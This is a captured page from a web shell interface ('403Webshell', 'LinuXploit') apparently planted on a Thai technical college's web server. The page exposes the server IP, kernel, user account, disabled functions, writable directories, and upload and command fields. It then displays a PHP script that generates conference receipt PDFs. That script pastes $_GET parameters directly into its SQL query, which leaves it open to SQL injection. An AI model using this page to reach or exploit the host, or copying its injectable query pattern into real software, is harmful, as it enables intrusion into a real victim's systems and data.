403Webshell
Server IP : 27.254.66.5  /  Your IP : 216.73.217.39
Web Server : Apache/2
System : Linux cs82.hostneverdie.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User : technic2 ( 1951)
PHP Version : 7.4.30
Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,sleep,pcntl_exec,virtual,suexec,dbmopen,dl,symlink,disk_free_space,diskfreespace,leak
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/technic2/domains/technicrayong.ac.th/private_html/old-website/vecsc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/technic2/domains/technicrayong.ac.th/private_html/old-website/vecsc/bill_other1.php
<?php

// Create connection
require_once('config.php');
$i = 0;

// Check connection
if (!$conn) {
    die('Connection failed: ' . mysqli_connect_error());
}

mysqli_set_charset($conn,'utf8');

$sql1 = "SELECT college.college_id, college.college_name, tacsa_name.tacsa_id, tacsa_name.tacsa_name, tacsa_staff_position.position_id, tacsa_staff_position.position_name, tacsa_staff.tname, tacsa_staff.fname, tacsa_staff.lname, tacsa_staff.polo_size, tacsa_staff.amount FROM college, tacsa_name, tacsa_staff_position, tacsa_staff WHERE college.college_id = tacsa_staff.college_id AND tacsa_name.tacsa_id = tacsa_staff.tacsa_id AND tacsa_staff_position.position_id = tacsa_staff.position_id AND tacsa_staff.college_id = '" . $_GET["college_id"] . "' AND tacsa_staff.tacsa_id = '" . $_GET["tacsa_id"] . "' ORDER BY tacsa_staff.college_id, tacsa_staff.tacsa_id, tacsa_staff.position_id" ;


//echo $sql1;

$result1 = mysqli_query($conn, $sql1);

$total = 0;
$thai_total = '';

if (mysqli_num_rows($result1) > 0) {
    // output data of each row
    while($row = mysqli_fetch_assoc($result1)) {
		$i = $i + 1;
        $position_name1[] = $row['position_name'];
		$tname1[] = $row['tname'];
		$fname1[] = $row['fname'];
		$lname1[] = $row['lname'];
		$amount1[] = $row['amount'];
		$college_name1[] = $row['college_name'];
		$tacsa_name1[] = $row['tacsa_name'];

		if ($row['amount'] <> '') {
			$amount_mask1[] = '-';
		}

		//$total1 += $row['amount'];
    }
} else {
    echo '0 results';
}

mysqli_close($conn);

function convert_thai($total)
{

	//echo $total . ' Hello' . '<br>';

if ($total == 250) {
	$thai_total = 'สองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 500) {
	$thai_total = 'ห้าร้อยบาทถ้วน';
} elseif ($total == 750) {
	$thai_total = 'เจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 1000) {
	$thai_total = 'หนึ่งพันบาทถ้วน';
} elseif ($total == 1250) {
	$thai_total = 'หนึ่งพันสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 1500) {
	$thai_total = 'หนึ่งพันห้าร้อยบาทถ้วน';
} elseif ($total == 1750) {
	$thai_total = 'หนึ่งพันเจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 2000) {
	$thai_total = 'สองพันบาทถ้วน';
} elseif ($total == 2250) {
	$thai_total = 'สองพันสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 2500) {
	$thai_total = 'สองพันห้าร้อยบาทถ้วน';
} elseif ($total == 2750) {
	$thai_total = 'สองพันเจ็ดร้อยห้าสินบาทถ้วน';
} elseif ($total == 3000) {
	$thai_total = 'สามพันบาทถ้วน';
} elseif ($total == 3250) {
	$thai_total = 'สามพันสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 3500) {
	$thai_total = 'สามพันห้าร้อยบาทถ้วน';
} elseif ($total == 3750) {
	$thai_total = 'สามพันเจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 4000) {
	$thai_total = 'สี่พันบาทถ้วน';
} elseif ($total == 4250) {
	$thai_total = 'สี่พันสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 4500) {
	$thai_total = 'สี่พันห้าร้อยบาทถ้วน';
} elseif ($total == 4750) {
	$thai_total = 'สี่พันเจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 5000) {
	$thai_total = 'ห้าพันบาทถ้วน';
} elseif ($total == 5250) {
	$thai_total = 'ห้าพันสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 5500) {
	$thai_total = 'ห้าพันห้าร้อยบาทถ้วน';
} elseif ($total == 5750) {
	$thai_total = 'ห้าพันเจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 6000) {
	$thai_total = 'หกพันบาทถ้วน';
} elseif ($total == 6250) {
	$thai_total = 'หกพันสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 6500) {
	$thai_total = 'หกพันห้าร้อยบาทถ้วน';
} elseif ($total == 6750) {
	$thai_total = 'หกพันเจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 7000) {
	$thai_total = 'เจ็ดพันบาทถ้วน';
} elseif ($total == 7250) {
	$thai_total = 'เจ็ดพันสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 7500) {
	$thai_total = 'เจ็ดพันห้าร้อยบาทถ้วน';
} elseif ($total == 7750) {
	$thai_total = 'เจ็ดพันเจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 8000) {
	$thai_total = 'แปดพันบาทถ้วน';
} elseif ($total == 8250) {
	$thai_total = 'แปดพันสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 8500) {
	$thai_total = 'แปดพันห้าร้อยบาทถ้วน';
} elseif ($total == 8750) {
	$thai_total = 'แปดพันเจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 9000) {
	$thai_total = 'เก้าพันบาทถ้วน';
} elseif ($total == 9250) {
	$thai_total = 'เก้าพันสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 9500) {
	$thai_total = 'เก้าพันห้าร้อยบาทถ้วน';
} elseif ($total == 9750) {
	$thai_total = 'เก้าพันเจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 10000) {
	$thai_total = 'หนึ่งหมื่นบาทถ้วน';
} elseif ($total == 10250) {
	$thai_total = 'หนึ่งหมื่นสองร้อยห้าสิบบาทถ้วน';
} elseif ($total == 10500) {
	$thai_total = 'หนึ่งหมื่นห้าร้อยบาทถ้วน';
} elseif ($total == 10750) {
	$thai_total = 'หนึ่งหมื่นเจ็ดร้อยห้าสิบบาทถ้วน';
} elseif ($total == 11000) {
	$thai_total = 'หนึ่งหมื่นหนึ่งพันบาทถ้วน';
} elseif ($total == 11250) {
	$thai_total = 'หนึ่งหมื่นหนึ่งพันสองร้อยห้าสิบบาทถ้วน';
}

	return $thai_total;

}


//echo $i . "<br>";

$p = $i / 8;

//echo $p . "<br>";

require('./fpdf/fpdf.php');

class PDF extends FPDF
{

function bill_header_p1($college_name) {

$this->AddFont('THSarabun','','THSarabun.php');
$this->AddFont('THSarabun','b','THSarabun Bold.php');
$this->AddFont('THSarabun','i','THSarabun Italic.php');
$this->AddFont('THSarabun','bi','THSarabun BoldItalic.php');

$this->Image('./img/vec_logo.png',17,10, 30);
$this->Image('./img/vec_logo.png',17,159, 30);
$this->Line(0,149,210,149);

$this->SetFont('THSarabun','b',20);
$this->SetY(55);
$this->SetX(18);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ใบเสร็จรับเงิน'));

$this->SetFont('THSarabun', '',16);
$this->SetY(65);
$this->SetX(5);
$this->Cell(0,0,iconv('UTF-8','cp874', 'การประชุมวิชาการองค์การวิชาชีพ ฯ'));

$this->SetFont('THSarabun', '',16);
$this->SetY(72);
$this->SetX(23);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ระดับชาติ'));

$this->SetFont('THSarabun', '',16);
$this->SetY(79);
$this->SetX(11);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ครั้งที่ 26 ปีการศึกษา 2559'));

$this->SetFont('THSarabun', '',16);
$this->SetY(86);
$this->SetX(9);
$this->Cell(0,0,iconv('UTF-8','cp874', 'วันที่ 6 - 10 กุมภาพันธ์ 2560'));

$this->SetFont('THSarabun', '',16);
$this->SetY(93);
$this->SetX(13);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ณ วิทยาลัยเทคนิคระยอง'));

$this->SetFont('THSarabun', 'b',16);
$this->SetY(10);
$this->SetX(70);
$this->Cell(0,0,iconv('UTF-8','cp874', 'เล่มที่_____'));

$this->SetFont('THSarabun', 'b',16);
$this->SetY(10);
$this->SetX(183);
$this->Cell(0,0,iconv('UTF-8','cp874', 'เลขที่_____'));

$this->SetFont('THSarabun', '',16);
$this->SetY(20);
$this->SetX(125);
$this->Cell(0,0,iconv('UTF-8','cp874', 'สำนักงานคณะกรรมการองค์การนักวิชาชีพระดับชาติ'));

$this->SetFont('THSarabun', '',16);
$this->SetY(27);
$this->SetX(130);
$this->Cell(0,0,iconv('UTF-8','cp874', 'วันที่       เดือน  กุมภาพันธ์  พ.ศ. 2560'));

$this->SetFont('THSarabun', '',16);
$this->SetY(34);
$this->SetX(70);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ได้รับเงินจาก  ' . $college_name));

$this->SetY(34);
$this->SetX(176);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ตามรายการ  ดังนี้'));

$this->SetFont('THSarabun', '',16);
$this->SetY(41);
$this->SetX(70);
$this->Cell(110,7,iconv('UTF-8','cp874','รายการ'),1,0,'C',0);
$this->Cell(23,7,iconv('UTF-8','cp874','จำนวนเงิน'),1,1,'C',0);

//----

}


function bill_header_p2($college_name) {

$this->SetFont('THSarabun','b',20);
$this->SetY(154);
$this->SetX(25);
$this->Cell(0,0,iconv('UTF-8','cp874', 'สำเนา'));

$this->SetFont('THSarabun','b',20);
$this->SetY(204);
$this->SetX(18);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ใบเสร็จรับเงิน'));

$this->SetFont('THSarabun', '',16);
$this->SetY(214);
$this->SetX(5);
$this->Cell(0,0,iconv('UTF-8','cp874', 'การประชุมวิชาการองค์การวิชาชีพ ฯ'));

$this->SetFont('THSarabun', '',16);
$this->SetY(221);
$this->SetX(23);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ระดับชาติ'));

$this->SetFont('THSarabun', '',16);
$this->SetY(228);
$this->SetX(11);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ครั้งที่ 26 ปีการศึกษา 2559'));

$this->SetFont('THSarabun', '',16);
$this->SetY(235);
$this->SetX(9);
$this->Cell(0,0,iconv('UTF-8','cp874', 'วันที่ 6 - 10 กุมภาพันธ์ 2560'));

$this->SetFont('THSarabun', '',16);
$this->SetY(242);
$this->SetX(13);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ณ วิทยาลัยเทคนิคระยอง'));

$this->SetFont('THSarabun', 'b',16);
$this->SetY(159);
$this->SetX(70);
$this->Cell(0,0,iconv('UTF-8','cp874', 'เล่มที่_____'));

$this->SetFont('THSarabun', 'b',16);
$this->SetY(159);
$this->SetX(183);
$this->Cell(0,0,iconv('UTF-8','cp874', 'เลขที่_____'));

$this->SetFont('THSarabun', '',16);
$this->SetY(169);
$this->SetX(125);
$this->Cell(0,0,iconv('UTF-8','cp874', 'สำนักงานคณะกรรมการองค์การนักวิชาชีพระดับชาติ'));

$this->SetFont('THSarabun', '',16);
$this->SetY(176);
$this->SetX(130);
$this->Cell(0,0,iconv('UTF-8','cp874', 'วันที่       เดือน  กุมภาพันธ์  พ.ศ. 2560'));

$this->SetFont('THSarabun', '',16);
$this->SetY(183);
$this->SetX(70);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ได้รับเงินจาก  ' . $college_name));

$this->SetY(183);
$this->SetX(176);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ตามรายการ  ดังนี้'));

$this->SetFont('THSarabun', '',16);
$this->SetY(190);
$this->SetX(70);
$this->Cell(110,7,iconv('UTF-8','cp874','รายการ'),1,0,'C',0);
$this->Cell(23,7,iconv('UTF-8','cp874','จำนวนเงิน'),1,1,'C',0);

//----

}

function bill_footer_p1($tacsa_name, $total, $thai_total) {

$this->SetFont('THSarabun', '',12);
$this->SetX(70);
$this->Cell(110,7,iconv('UTF-8','cp874',''),1,0,'C',0);
$this->Cell(18,7,iconv('UTF-8','cp874',''),1,0,'C',0);
$this->Cell(5,7,iconv('UTF-8','cp874',''),1,1,'C',0);

$this->SetFont('THSarabun', '',12);
$this->SetX(70);
$this->Cell(110,7,iconv('UTF-8','cp874', $tacsa_name),1,0,'L',0);
$this->Cell(18,7,iconv('UTF-8','cp874',''),1,0,'C',0);
$this->Cell(5,7,iconv('UTF-8','cp874',''),1,1,'C',0);

$this->SetFont('THSarabun', '',12);
$this->SetX(70);
$this->Cell(110,7,iconv('UTF-8','cp874', 'เป็นค่าลงทะเบียน คณะกรรมการ'),1,0,'L',0);
$this->Cell(18,7,iconv('UTF-8','cp874',''),1,0,'C',0);
$this->Cell(5,7,iconv('UTF-8','cp874',''),1,1,'C',0);

$this->SetFont('THSarabun', '',12);
$this->SetX(70);
$this->Cell(110,7,iconv('UTF-8','cp874','รวม   บาท     '),0,0,'R',0);
$this->Cell(18,7,iconv('UTF-8','cp874', $total),1,0,'R',0);
$this->Cell(5,7,iconv('UTF-8','cp874','-'),1,1,'C',0);

$this->SetFont('THSarabun', '',12);
$this->SetY(48);



$this->SetFont('THSarabun', '',16);
$this->SetY(110);
$this->SetX(70);
$this->Cell(0,0,iconv('UTF-8','cp874', 'จำนวนเงิน  ' . $thai_total));

$this->SetFont('THSarabun', '',16);
$this->SetY(117);
$this->SetX(142);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ลงชื่อ.............................................ผู้รับเงิน'));


$this->SetFont('THSarabun', '',16);
$this->SetY(124);
$this->SetX(151);
$this->Cell(0,0,iconv('UTF-8','cp874', 'ตำแหน่ง  เจ้าหน้าที่การเงิน'));




}

function bill_footer_p2() {

}

}


$pdf=new PDF();

$pdf->AddPage();
$pdf->bill_header_p1($college_name1[0]);

for ($i = 0; $i < count($fname1); $i++) {
	$pdf->SetFont('THSarabun', '',12);
	$pdf->SetX(70);
	$pdf->Cell(110,7,iconv('UTF-8','cp874', ($i+1) . '. ' . $tname1[$i] . $fname1[$i] . ' ' . $lname1[$i]),1,0,'L',0);
	$pdf->Cell(18,7,iconv('UTF-8','cp874',$amount1[$i]),1,0,'R',0);
	$pdf->Cell(5,7,iconv('UTF-8','cp874', $amount_mask1[$i]),1,1,'C',0);
	$total = $total + $amount1[$i];
}

$pdf->SetFont('THSarabun', '',12);
$pdf->SetY(48);

for ($i = 0; $i < count($fname1); $i++) {
$pdf->SetX(150);
$pdf->Cell(60,7,iconv('UTF-8','cp874', $position_name1[$i]),0,1,'L',0);
}

$pdf->bill_footer_p1($tacsa_name1[0], $total, convert_thai($total));
$pdf->bill_header_p2($college_name1[0]);










$pdf->Output();

?>

Youez - 2016 - github.com/yon3zu
LinuXploit